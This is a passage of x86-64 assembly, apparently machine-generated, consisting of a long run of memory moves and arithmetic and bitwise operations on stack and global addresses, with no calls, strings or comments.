mov qword [rcx], rax
mov rax, qword [rsp + 0xa5b8]
mov ecx, dword [rsp + 0x4f80]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x50d8], eax
mov rax, qword [rsp + 0xb480]
movzx eax, word [rax]
mov word [rsp + 0x1bb4], ax
mov rax, qword [rsp + 0x8d78]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb7d0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x1401cde70]
mov byte [rcx], al
movzx eax, word [rsp + 0x1a24]
mov rcx, qword [rsp + 0xa978]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa1f0]
mov word [rcx], ax
mov rax, qword [0x1401cd918]
movzx eax, byte [rax]
mov byte [rsp + 0x38c], al
mov rax, qword [rsp + 0xca88]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x180]
sub eax, ecx
mov byte [rsp + 0x25f], al
lea rax, [rsp + 0x530c]
mov qword [rsp + 0xce28], rax
mov rax, qword [rsp + 0xad60]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8100]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa030], rax
mov rax, qword [rsp + 0xb1b8]
mov rcx, qword [rsp + 0x9f10]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xa628]
mov qword [rcx], rax
mov eax, dword [rsp + 0x5220]
mov dword [rsp + 0x54ec], eax
mov rax, qword [0x1401cd9d0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x12e8]
add eax, ecx
mov word [rsp + 0x1b60], ax
movsx eax, byte [rsp + 0x1e8]
movsx ecx, byte [rsp + 0x7a]
shl eax, cl
mov byte [0x1401cc0d3], al
movzx eax, byte [rsp + 0x285]
movzx ecx, byte [0x1401cc087]
xor eax, ecx
mov byte [rsp + 0xac], al
mov rax, qword [rsp + 0xad58]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc108]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xc7c0]
mov word [rcx], ax
mov rax, qword [rsp + 0xac38]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa2d8]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x2e8], al
mov rax, qword [rsp + 0x9300]
movzx eax, byte [rax]
mov byte [rsp + 0x38d], al
mov eax, dword [rsp + 0x47b8]
mov ecx, dword [rsp + 0x52b4]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x90e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa320]
mov eax, dword [rax]
mov dword [rsp + 0x54f0], eax
mov rax, qword [rsp + 0x9c20]
mov rcx, qword [rsp + 0x8f58]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9d08]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa260]
mov rcx, qword [rsp + 0x9ad0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xa910]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc108]
movzx eax, word [rax]
mov word [0x1401cdf30], ax
mov rax, qword [rsp + 0x9998]
movzx eax, byte [rax]
mov byte [rsp + 0x38e], al
movsx eax, word [0x1401cc1dc]
movsx ecx, word [rsp + 0x1068]
and eax, ecx
mov rcx, qword [rsp + 0xb6c0]
mov word [rcx], ax
lea rax, [rsp + 0x15a8]
mov qword [rsp + 0xce30], rax
mov rax, qword [rsp + 0xaeb8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x97e0]
movsx ecx, word [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0xb580]
mov word [rcx], ax
mov rax, qword [rsp + 0xc388]
mov rcx, qword [rsp + 0xc968]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xb4b0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbbc8]
mov rax, qword [rax]
mov qword [rsp + 0xce38], rax
mov rax, qword [0x1401cc020]
mov rcx, qword [rsp + 0xa900]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8d40]
mov qword [rcx], rax
lea rax, [rsp + 0x548c]
mov qword [rsp + 0xce40], rax
mov rax, qword [rsp + 0x91d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2a8]
add eax, ecx
mov byte [0x1401cd7dc], al
movsx eax, byte [rsp + 0x31b]
movsx ecx, byte [rsp + 0x298]
add eax, ecx
mov rcx, qword [rsp + 0xc248]
mov byte [rcx], al
lea rax, [rsp + 0x286]
mov qword [rsp + 0xce48], rax
mov rax, qword [rsp + 0xafd0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1b38]
add eax, ecx
mov word [rsp + 0x1750], ax
movzx eax, word [rsp + 0x18e8]
movzx ecx, word [0x1401cc0dc]
sar eax, cl
mov word [rsp + 0x16f0], ax
mov rax, qword [rsp + 0x9000]
mov eax, dword [rax]
mov dword [rsp + 0x54f4], eax
mov rax, qword [rsp + 0xafc8]
mov rcx, qword [rsp + 0x9b60]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x91a8], rax
lea rax, [0x1401cc010]
mov qword [rsp + 0xce50], rax
mov rax, qword [rsp + 0xa750]
mov rcx, qword [rsp + 0xb0d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x5078], eax
movsx eax, word [rsp + 0x1828]
mov rcx, qword [rsp + 0x9098]
movsx ecx, word [rcx]
shl eax, cl
mov word [0x1401cc1fc], ax
mov rax, qword [rsp + 0xa700]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa428]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x24c], al
lea rax, [rsp + 0x15ac]
mov qword [rsp + 0xce58], rax
mov rax, qword [rsp + 0xbc28]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x253]
sub eax, ecx
mov byte [rsp + 0x2df], al
movzx eax, byte [rsp + 0x32c]
mov byte [rsp + 0x38f], al
mov eax, dword [rsp + 0x5488]
mov ecx, dword [rsp + 0x514c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb2a8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x53bc]
mov ecx, dword [rsp + 0x5340]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5114], eax
mov rax, qword [rsp + 0xba28]
mov rax, qword [rax]
mov qword [rsp + 0xce60], rax
mov rax, qword [rsp + 0x9650]
mov rcx, qword [rsp + 0xc600]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb220]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc108]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb718]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x1401cc200], ax
lea rax, [rsp + 0x36d]
mov qword [rsp + 0xce68], rax
mov rax, qword [rsp + 0xbd98]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1618]
imul eax, ecx
mov rcx, qword [rsp + 0x9ea8]
mov word [rcx], ax
lea rax, [rsp + 0x38b]
mov qword [rsp + 0xce70], rax
movzx eax, byte [0x1401cd825]
movzx ecx, byte [rsp + 0x1ef]
sub eax, ecx
mov byte [rsp + 0x24f], al
mov rax, qword [rsp + 0xa998]
mov rcx, qword [rsp + 0x8a20]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x92d8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa000]
mov qword [rsp + 0xce78], rax
mov eax, dword [rsp + 0x4f50]
mov ecx, dword [rsp + 0x5008]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4eac], eax
lea rax, [rsp + 0x4ca4]
mov qword [rsp + 0xce80], rax
movsx eax, word [rsp + 0x15dc]
mov rcx, qword [rsp + 0xa808]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1401cc05c], ax
movzx eax, word [rsp + 0x1b44]
movzx ecx, word [rsp + 0x1950]
sar eax, cl
mov word [rsp + 0x18e0], ax
mov rax, qword [rsp + 0xa7a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb420]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xaca0]
mov word [rcx], ax
mov rax, qword [0x1401cdeb8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa8e0]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0xaf], al
mov rax, qword [rsp + 0xa5d8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x10d8]
or eax, ecx
mov rcx, qword [rsp + 0x9a40]
mov word [rcx], ax
mov eax, dword [rsp + 0x4fec]
mov dword [rsp + 0x54f8], eax
mov rax, qword [rsp + 0xadd8]
mov rcx, qword [0x1401cc028]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9d90]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc190]
mov rcx, qword [rsp + 0x99b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xc1e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xca40]
mov rax, qword [rax]
mov qword [rsp + 0xce88], rax
movzx eax, byte [0x1401cd846]
mov byte [0x1401cd8d6], al
mov rax, qword [rsp + 0x9c10]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x16a8]
sub eax, ecx
mov word [rsp + 0x1708], ax
mov rax, qword [rsp + 0xa298]
movzx eax, byte [rax]
mov byte [rsp + 0x390], al
mov rax, qword [rsp + 0xaca0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa3b0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1814], ax
movzx eax, byte [rsp + 0x386]
mov rcx, qword [rsp + 0xc0e0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x2e6], al
mov eax, dword [rsp + 0x5064]
mov dword [rsp + 0x54fc], eax
mov rax, qword [rsp + 0xc730]
mov rcx, qword [rsp + 0x9b78]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5284], eax
mov rax, qword [rsp + 0xae48]
mov qword [rsp + 0xce90], rax
mov rax, qword [rsp + 0x9450]
mov rcx, qword [rsp + 0x9618]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xaa40]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x2c4]
movsx ecx, byte [rsp + 0x273]
add eax, ecx
mov byte [0x1401cc04a], al
movzx eax, byte [rsp + 0x31c]
mov byte [rsp + 0x391], al
mov rax, qword [rsp + 0xc810]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x76]
sub eax, ecx
mov rcx, qword [rsp + 0xc8b8]
mov byte [rcx], al
movsx eax, word [rsp + 0x16a8]
mov rcx, qword [rsp + 0xccd8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x197c], ax
lea rax, [rsp + 0x1880]
mov qword [rsp + 0xce98], rax
mov rax, qword [rsp + 0x9cb0]
mov rcx, qword [rsp + 0x9da0]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xaef0], rax
mov rax, qword [rsp + 0x9fc0]
mov eax, dword [rax]
mov dword [rsp + 0x5500], eax
mov rax, qword [rsp + 0x8b98]
mov rcx, qword [rsp + 0x8a28]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb220]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc2f0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x5174]
shr eax, cl
mov rcx, qword [rsp + 0xaeb0]
mov dword [rcx], eax
movzx eax, word [rsp + 0x16e8]
mov word [rsp + 0x1bb8], ax
movsx eax, word [rsp + 0xff8]
movsx ecx, word [rsp + 0x173c]
shl eax, cl
mov rcx, qword [0x1401cd9f0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x369]
mov rcx, qword [rsp + 0xb930]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x200], al
mov rax, qword [rsp + 0xabb0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xca18]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x62], al
mov rax, qword [rsp + 0xb918]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9980]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xc978]
mov word [rcx], ax
mov rax, qword [0x1401cd728]
mov rcx, qword [rsp + 0xa340]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9948]
mov qword [rcx], rax
lea rax, [rsp + 0x4a50]
mov qword [rsp + 0xcea0], rax
mov rax, qword [rsp + 0x94c0]
mov rcx, qword [rsp + 0x8698]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb750]
mov qword [rcx], rax
lea rax, [rsp + 0x4acc]
mov qword [rsp + 0xcea8], rax
mov rax, qword [rsp + 0xa078]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1448]
add eax, ecx
mov rcx, qword [rsp + 0xa778]
mov word [rcx], ax
mov rax, qword [rsp + 0xa520]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x336]
add eax, ecx
mov byte [0x1401cc0d6], al
movsx eax, word [0x1401cc044]
mov rcx, qword [rsp + 0xaa38]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1b14], ax
lea rax, [rsp + 0x242]
mov qword [rsp + 0xceb0], rax
mov rax, qword [rsp + 0xc738]
movzx eax, word [rax]
mov rcx, qword [0x1401cd8e0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xad58]
mov word [rcx], ax
lea rax, [rsp + 0x5190]
mov qword [rsp + 0xceb8], rax
mov eax, dword [rsp + 0x477c]
movzx ecx, al
mov eax, dword [rsp + 0x4ec4]
shl eax, cl
mov dword [rsp + 0x529c], eax
mov rax, qword [rsp + 0x9580]
mov qword [rsp + 0xcec0], rax
mov rax, qword [rsp + 0xb2b0]
mov rcx, qword [rsp + 0xc3e0]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xb3a8], rax
mov rax, qword [rsp + 0xb0b0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1738]
xor eax, ecx
mov word [rsp + 0x1b5c], ax
movzx eax, word [rsp + 0x17f8]
mov rcx, qword [0x1401cdaa8]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x1401cc204], ax
lea rax, [rsp + 0x2da]
mov qword [rsp + 0xcec8], rax
mov rax, qword [rsp + 0x9d78]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa090]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x391], al
lea rax, [rsp + 0x361]
mov qword [rsp + 0xced0], rax
mov rax, qword [rsp + 0xc2c8]
mov ecx, dword [rsp + 0x4e7c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4f44], eax
mov rax, qword [rsp + 0x9b00]
mov rcx, qword [rsp + 0xa0d8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xafc8]
mov qword [rcx], rax
mov eax, dword [0x1401cc01c]
mov dword [rsp + 0x5504], eax
mov rax, qword [rsp + 0xa608]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc4d8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xc398]
mov qword [rcx], rax
lea rax, [rsp + 0x1920]
mov qword [rsp + 0xced8], rax
mov rax, qword [rsp + 0xca38]
movsx eax, byte [rax]
movsx ecx, byte [0x1401cc08e]
sub eax, ecx
mov rcx, qword [0x1401cdc98]
mov byte [rcx], al
mov rax, qword [rsp + 0xcda8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x279]
add eax, ecx
mov rcx, qword [rsp + 0xb930]
mov byte [rcx], al
mov rax, qword [rsp + 0xafd0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1734]
add eax, ecx
mov rcx, qword [rsp + 0x9ff0]
mov word [rcx], ax
movzx eax, byte [0x1401cc083]
mov byte [rsp + 0x392], al
movsx eax, word [rsp + 0x1300]
mov rcx, qword [rsp + 0xc410]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x16b0], ax
mov rax, qword [rsp + 0x9598]
mov eax, dword [rax]
mov dword [rsp + 0x5508], eax
mov rax, qword [rsp + 0xbb70]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcd88]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb960], rax
lea rax, [rsp + 0x4ebc]
mov qword [rsp + 0xcee0], rax
mov rax, qword [rsp + 0xc450]
mov rcx, qword [rsp + 0xc2d8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x96e8]
mov qword [rcx], rax
mov rax, qword [0x1401cdb20]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x94e0]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [0x1401cdce0]
mov byte [rcx], al
movzx eax, byte [rsp + 0x2d9]
movzx ecx, byte [rsp + 0x2a3]
sar eax, cl
mov byte [rsp + 0x1f3], al
lea rax, [rsp + 0x194c]
mov qword [rsp + 0xcee8], rax
movsx eax, word [rsp + 0x1634]
mov rcx, qword [rsp + 0xa0b0]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xc9f8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x1c8]
mov byte [rsp + 0x393], al
mov rax, qword [rsp + 0xa308]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x5234]
shl eax, cl
mov dword [rsp + 0x5190], eax
mov rax, qword [rsp + 0xbf60]
mov eax, dword [rax]
mov ecx, dword [0x1401cd710]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc1f8]
mov dword [rcx], eax
lea rax, [rsp + 0xa568]
mov qword [rsp + 0xcef0], rax
mov rax, qword [rsp + 0x9418]
mov rcx, qword [rsp + 0xab10]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x92d0], rax
mov rax, qword [rsp + 0xb9e0]
movzx eax, byte [rax]
mov byte [0x1401cd8d7], al
lea rax, [rsp + 0x14f0]
mov qword [rsp + 0xcef8], rax
mov rax, qword [rsp + 0xca38]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xca]
and eax, ecx
mov byte [rsp + 0x2fb], al
movzx eax, word [rsp + 0x1760]
movzx ecx, word [rsp + 0x1508]
sub eax, ecx
mov word [rsp + 0x16fc], ax
movzx eax, word [rsp + 0x1b20]
mov word [rsp + 0x1bbc], ax
mov rax, qword [rsp + 0x86e8]
mov rcx, qword [rsp + 0xb090]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xc398]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4ee4]
mov dword [rsp + 0x550c], eax
mov rax, qword [rsp + 0xc598]
mov ecx, dword [rsp + 0x5024]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xbf98]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa630]
mov rcx, qword [rsp + 0x90d8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xb8f8]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x353]
mov rcx, qword [rsp + 0xc8b8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401cc0d7], al
mov rax, qword [rsp + 0xa0a0]
movzx eax, byte [rax]
mov byte [rsp + 0x394], al
movzx eax, word [rsp + 0x15d4]
mov rcx, qword [rsp + 0xa518]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1650], ax
lea rax, [rsp + 0x211]
mov qword [rsp + 0xcf00], rax
mov rax, qword [rsp + 0xacc0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc1b0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1904], ax
mov rax, qword [rsp + 0xa9c0]
mov eax, dword [rax]
mov dword [rsp + 0x5510], eax
mov rax, qword [rsp + 0xa8e8]
mov rcx, qword [0x1401cd728]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xbd30]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc958]
mov rcx, qword [rsp + 0xbf30]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xbbb0]
mov qword [rcx], rax
lea rax, [rsp + 0x52b4]
mov qword [rsp + 0xcf08], rax
movzx eax, byte [rsp + 0x10e]
movzx ecx, byte [rsp + 0x374]
shl eax, cl
mov rcx, qword [0x1401cdae0]
mov byte [rcx], al
movsx eax, word [rsp + 0xebc]
movsx ecx, word [rsp + 0x1758]
sar eax, cl
mov rcx, qword [rsp + 0x9ef8]
mov word [rcx], ax
mov rax, qword [rsp + 0xb2d0]
movsx eax, byte [rax]
movsx ecx, byte [0x1401cc08b]
xor eax, ecx
mov byte [rsp + 0x1cd], al
mov rax, qword [rsp + 0xaaf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1bac]
and eax, ecx
mov rcx, qword [rsp + 0xabb8]
mov word [rcx], ax
mov rax, qword [rsp + 0xc550]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xca10]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xb338]
mov byte [rcx], al
mov rax, qword [rsp + 0xb778]
mov eax, dword [rax]
mov dword [rsp + 0x5514], eax
mov rax, qword [rsp + 0x94c8]
mov rcx, qword [rsp + 0xa580]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x97f0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc170]
mov rax, qword [rax]
mov qword [rsp + 0xcf10], rax
mov rax, qword [rsp + 0xab00]
mov rcx, qword [rsp + 0xb588]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xc8b0], rax
movsx eax, byte [rsp + 0x377]
mov rcx, qword [rsp + 0x9810]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x1401cde40]
mov byte [rcx], al
mov rax, qword [rsp + 0xa960]
movsx eax, word [rax]
mov rcx, qword [0x1401cd9c8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1524], ax
mov rax, qword [rsp + 0xc638]
movzx eax, byte [rax]
mov byte [rsp + 0x395], al
movsx eax, word [rsp + 0x1168]
mov rcx, qword [rsp + 0xc4b0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9488]
mov word [rcx], ax
lea rax, [rsp + 0x190c]
mov qword [rsp + 0xcf18], rax
mov rax, qword [rsp + 0xc1e0]
mov ecx, dword [rsp + 0x53a0]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x90d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa028]
mov rax, qword [rax]
mov qword [rsp + 0xcf20], rax
mov rax, qword [rsp + 0xb578]
mov rcx, qword [rsp + 0xb8c0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xc9d8], rax
mov rax, qword [rsp + 0xc928]
mov rcx, qword [rsp + 0xb978]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x5038], eax
movsx eax, byte [rsp + 0x371]
movsx ecx, byte [rsp + 0x2b9]
sar eax, cl
mov byte [0x1401cc0da], al
lea rax, [rsp + 0x1664]
mov qword [rsp + 0xcf28], rax
movsx eax, byte [rsp + 0x296]
mov rcx, qword [rsp + 0xa5d0]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x23b], al
lea rax, [rsp + 0x1e1]
mov qword [rsp + 0xcf30], rax
mov rax, qword [rsp + 0xa3b0]
movzx eax, word [rax]
mov rcx, qword [0x1401cd8f0]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1820], ax
mov rax, qword [rsp + 0xba98]
mov ecx, dword [rsp + 0x47cc]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xaff0]
mov dword [rcx], eax
lea rax, [rsp + 0x82a0]
mov qword [rsp + 0xcf38], rax
mov rax, qword [rsp + 0xb230]
mov rcx, qword [rsp + 0xcdb8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x52f4], eax
mov rax, qword [rsp + 0xc430]
mov rax, qword [rax]
mov qword [rsp + 0xcf40], rax
lea rax, [rsp + 0x1ea]
mov qword [0x1401cdf38], rax
mov rax, qword [rsp + 0xa190]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xb370]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xaac0]
mov byte [rcx], al
mov rax, qword [rsp + 0xbba8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x185c]
add eax, ecx
mov rcx, qword [rsp + 0xc4c8]
mov word [rcx], ax
lea rax, [rsp + 0x18bc]
mov qword [rsp + 0xcf48], rax
movsx eax, word [rsp + 0x1a70]
mov rcx, qword [rsp + 0xba38]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1168], ax
lea rax, [rsp + 0x50b4]
mov qword [rsp + 0xcf50], rax
mov eax, dword [rsp + 0x5504]
mov ecx, dword [rsp + 0x5484]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x5468], eax
mov rax, qword [rsp + 0xbb20]
mov rcx, qword [rsp + 0xb440]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xc908]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9c30]
mov rax, qword [rax]
mov qword [rsp + 0xcf58], rax
movzx eax, word [rsp + 0x18a4]
movzx ecx, word [rsp + 0x1894]
sub eax, ecx
mov rcx, qword [rsp + 0xcf48]
mov word [rcx], ax
mov rax, qword [rsp + 0xccd0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xad08]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x1401cdeb0]
mov byte [rcx], al
lea rax, [rsp + 0x2ca]
mov qword [rsp + 0xcf60], rax
mov rax, qword [rsp + 0xcef8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1900]
sub eax, ecx
mov rcx, qword [rsp + 0xab48]
mov word [rcx], ax
movzx eax, word [rsp + 0x1b44]
mov word [rsp + 0x1bc0], ax
mov rax, qword [rsp + 0xb990]
mov eax, dword [rax]
mov ecx, dword [0x1401cc01c]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc538]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbb10]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x9110]
sar rax, cl
mov rcx, qword [rsp + 0xac50]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc398]
mov rax, qword [rax]
mov qword [rsp + 0xcf68], rax
mov rax, qword [rsp + 0xc598]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xa250]
mov qword [rsp + 0xcf70], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcf70]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x54cc], eax
movzx eax, byte [rsp + 0x2f8]
mov rcx, qword [rsp + 0xa330]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x6d], al
mov rax, qword [rsp + 0xb600]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa7f8]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [0x1401cdb48]
mov word [rcx], ax
mov rax, qword [rsp + 0xaf10]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb698]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x221], al
mov rax, qword [rsp + 0xb2b8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1bb8]
sub eax, ecx
mov rcx, qword [rsp + 0xba48]
mov word [rcx], ax
movzx eax, byte [rsp + 0x2ea]
mov byte [rsp + 0x396], al
mov rax, qword [rsp + 0xb4d8]
mov rcx, qword [rsp + 0xcf58]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xba10]
mov qword [rcx], rax
lea rax, [rsp + 0x53f0]
mov qword [rsp + 0xcf78], rax
mov rax, qword [rsp + 0x9408]
mov eax, dword [rax]
mov ecx, dword [0x1401cd720]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4f70], eax
mov rax, qword [rsp + 0xadd8]
mov rcx, qword [rsp + 0xbb98]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb458]
mov qword [rcx], rax
movzx eax, word [rsp + 0x1ad8]
mov word [rsp + 0x1bc4], ax
mov rax, qword [rsp + 0xba78]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9038]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x1401cc208], ax
mov rax, qword [rsp + 0xaac0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9f48]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x250], al
lea rax, [rsp + 0x1b90]
mov qword [rsp + 0xcf80], rax
movsx eax, byte [rsp + 0x206]
mov rcx, qword [rsp + 0xb1d0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xaf], al
mov rax, qword [rsp + 0x9b80]
mov rcx, qword [rsp + 0xb330]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9310], rax
lea rax, [0x1401cc01c]
mov qword [rsp + 0xcf88], rax
mov rax, qword [rsp + 0xa250]
mov ecx, dword [rsp + 0x4f6c]
mov eax, dword [rax]
